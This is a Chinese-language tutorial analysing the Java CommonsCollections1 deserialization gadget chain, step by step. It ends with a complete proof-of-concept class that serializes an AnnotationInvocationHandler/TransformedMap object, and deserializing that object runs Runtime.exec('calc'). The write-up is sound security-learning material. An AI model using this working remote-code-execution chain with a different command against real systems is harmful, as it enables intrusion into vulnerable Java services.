Java反序列化CommonsCollections链一
环境
参考:https://www.bilibili.com/video/BV1no4y1U7E1 JDK版本应该为8u71之前。 jdk1.8.0.65 pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId>
<artifactId>javaDemo</artifactId>
<version>1.0-SNAPSHOT</version>
<name>CC</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-jar-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
<!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
<plugin>
<artifactId>maven-site-plugin</artifactId>
<version>3.7.1</version>
</plugin>
<plugin>
<artifactId>maven-project-info-reports-plugin</artifactId>
<version>3.0.0</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
主要是
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
中间会用到的需要看AnnotationInvocationHandler类的源码 https://github.com/halfblue/CCDemos
分析
首先写好一个序列化和反序列化方法
package com.cc1;
public class cc1Test {
public static void main(String[] args) throws Exception {
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static void unserialize(String fileNanem) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileNanem));
objectInputStream.readObject();
}
}
先用正常的反射弹个计算器
Class c = Runtime.class;
Runtime r = Runtime.getRuntime();
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
这条链用到了CommonsCollections中的几个Transformer
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
Transformer是个接口 有几个类实现了Transformer接口 看看里边关键的地方 InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
这个类中的transform方法可以反射调用任意方法 写个测试
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
可以对照着transform方法看 new Class[]{String.class}是要调用方法参数的类型也就是exec方法参数的类型 new Object[]{“calc”}是要调用方法的参数 就是exec方法的参数
然后需要找在哪里调用了transform方法 找到一个TransformedMap中的checkSetValue 这个类的构造方法是protected 无法直接调用 是通过decorate方法调用的
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
我们后续只操作了valueTransformer
然后再找一下哪里调用了checkSetValue AbstractInputCheckedMapDecorator中的MapEntry中的setValue 这里其实就是遍历HashMap中Entry.setValue 并且AbstractInputCheckedMapDecorator 是TransformedMap的父类 写个测试调用setValue
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap<>();
Map<Object,Object> transformedMap=TransformedMap.decorate(map, null,invokerTransformer);
map.put("key","value");
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
TransformedMap.decorate类似与对map的键值对进行装饰
到这里 需要找哪里会进行map遍历 最好直接是readObject中的 用find usages查找 在AnnotationInvocationHandler中找到readObject 并且调用了setValue 这里如果看不到源码 参考上边的github链接
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value)
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
然后进行下一步利用 首先第一个问题 Runtime r = Runtime.getRuntime(); 是没有办法序列化的 因为Runtime并没有继承序列化接口 所以要用反射去调用
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(r, "calc");
然后利用InvokerTransformer去反射调用Runtime
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
这里是循环调用 将前边的结果作为后边的参数 正好有一个类ChainedTransformer
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这里就是循环调用 可以利用ChainedTransformer来执行刚刚的反射调用Runtime
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
Runtime的序列化处理好了 然后利用刚刚的AnnotationInvocationHandler进行序列化 反序列化
HashMap<Object, Object> map = new HashMap<>();
//transformedMap下有个checkSetValue 会调用valueTransformer.transform(value);
map.put("key","value");
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");
这里的Override.class是个注解,是根据AnnotationInvocationHandler的构造方法写的 后边还有两个问题,调试跟着看看 获取注解就是刚刚的Override.class name的值是map.put(“key”,”value”)中的key
拿到key之后去注解里边找是否存在“key”这个成员变量 因为Override是空的所以
Class<?> memberType = memberTypes.get(name);
是空的 就跳出if判断 没有调用setValue 所以需要换一个注解 找到Target注解 里边存在一个变量value 把map.put(“key”,”value”)改成map.put(“value”,”value”)就可以让
Class<?> memberType = memberTypes.get(name);
不为空的 还有一个问题setValue的参数并不可控
这里的参数应该是Runtime.class才可以接着循环调用exec 需要用到另一个transform的实现类 ConstantTransformer
虽然transform传入的参数是input但是返回值确实初始化的时候的值 所以对刚刚的transformers进行改进
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
这样readObject中的setValue的参数不影响这个链 完整demo
package com.cc1;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static void unserialize(String fileNanem) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileNanem));
objectInputStream.readObject();
}
}